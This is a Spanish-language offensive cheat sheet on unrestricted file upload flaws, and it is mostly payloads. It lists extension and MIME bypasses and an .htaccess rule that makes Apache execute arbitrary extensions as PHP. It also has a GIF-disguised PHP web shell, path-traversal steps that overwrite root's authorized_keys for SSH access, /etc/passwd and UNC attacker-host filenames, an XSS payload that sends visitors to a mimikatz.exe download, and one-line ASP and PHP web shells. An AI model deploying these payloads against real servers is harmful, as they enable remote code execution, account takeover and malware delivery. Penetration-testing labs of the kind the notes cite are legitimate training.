Unrestricted File Upload

Definición

Unrestricted File Upload es una vulnerabilidad de seguridad que ocurre cuando una aplicación web permite a los usuarios cargar archivos sin restricciones adecuadas sobre el tipo de archivo, el tamaño o el contenido. Esto puede permitir a un atacante cargar archivos maliciosos, por ejemplo, archivos PHP, JavaScript, o ejecutables, que luego pueden ser ejecutados en el servidor, comprometiendo la seguridad del sistema.

Técnicas

Intentar cambiar extensiones

  • Doble extensión, como

.jpg.svg
.php.jpg
.exe.png
  • Extensión con un delimitador, como

%0a
%09
%0d 
%00 
#

file.png%00.svg
file.png\x0d\x0a.svg
  • Extensión vacía:

filename.
  • Extensión con capitalización variada:

.sVG
.PhP
.Exe
.msI

Cambiar MIME-type

  • Mime-Type permitido + extensión no permitida

  • Mime-Type no permitido + extensión permitida

  • Eliminar tipo de contenido

  • Enviar Content-Type dos veces dentro de la solicitud con tipos MIME permitidos y no permitidos

Bypass apache

Nos creamos un archivo .htaccess, donde le decimos que cualquier extensión .xxx me la interprete como php.

echo "AddType application/x-httpd-php .xxx" > .htaccess 

Esto lo podemos ver en la máquina Access de Proving Grounds

Magic numbers

Si una aplicación utiliza los bytes mágicos de un archivo para deducir el tipo de contenido, podemos intentar eludir las medidas de seguridad falsificando los bytes mágicos de un archivo permitido. Por ejemplo, si se permiten imágenes GIF, puede falsificar los bytes mágicos de una imagen GIF GIF89apara que el servidor piense que le estamos enviando un GIF válido.

GIF8;
<?php
	system($_GET['cmd']);
?>

Reemplazo de archivos

// hay que buscar reemplazar un authorized_keys en la máquina víctima

1. ssh-keygen
2. cat /root/.ssh/id_rsa.pub > fileup
3. fileup > authorized_keys
4. rm ~/.ssh/authorized_keys # para no generar conficto con la nueva clave ya que se va a subir a otra maquina
5. subimos el authorized keys abusando la ruta ../../../../../root/.ssh/authorized_keys
6. ssh -i fileup root@victima.com

// esta es más directa

ssh-keygen
cat /root/.ssh/id_rsa.pub > authorized_keys // luego subimos el authorized_keys
ssh root@ip

Esto lo podemos ver en la máquina Boolean de Proving Grounds.

Ruta como nombre de archivo

Intente utilizar diferentes tipos de ruta como nombre de archivo [CUIDADO CON ESTO, PORQUE PUEDES REEMPLAZAR ARCHIVOS]

Ruta absoluta, por ejemplo:

filename=/etc/passwd

Ruta relativa, por ejemplo:

filename=../../../../../../etc/passwd

Ruta UNC:

filename=\\attacker-website.com\file.png

Unrestricted File Upload + XSS para descargar malware

En este ejemplo vemos un XSS donde previamente se podía subir malware a un Bucket S3 por lo que se concate el XSS con el Unrestricted File Upload:

<img src="x" onerror="window.location='https://s3-us-west-2.amazonaws.com/s3delcliente/mimikatz.exe'"> 
Cross-Site Scripting (XSS)

WebShells

ASP:

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

PHP:

<?php system($_GET["cmd"]);?>

Recursos

Última actualización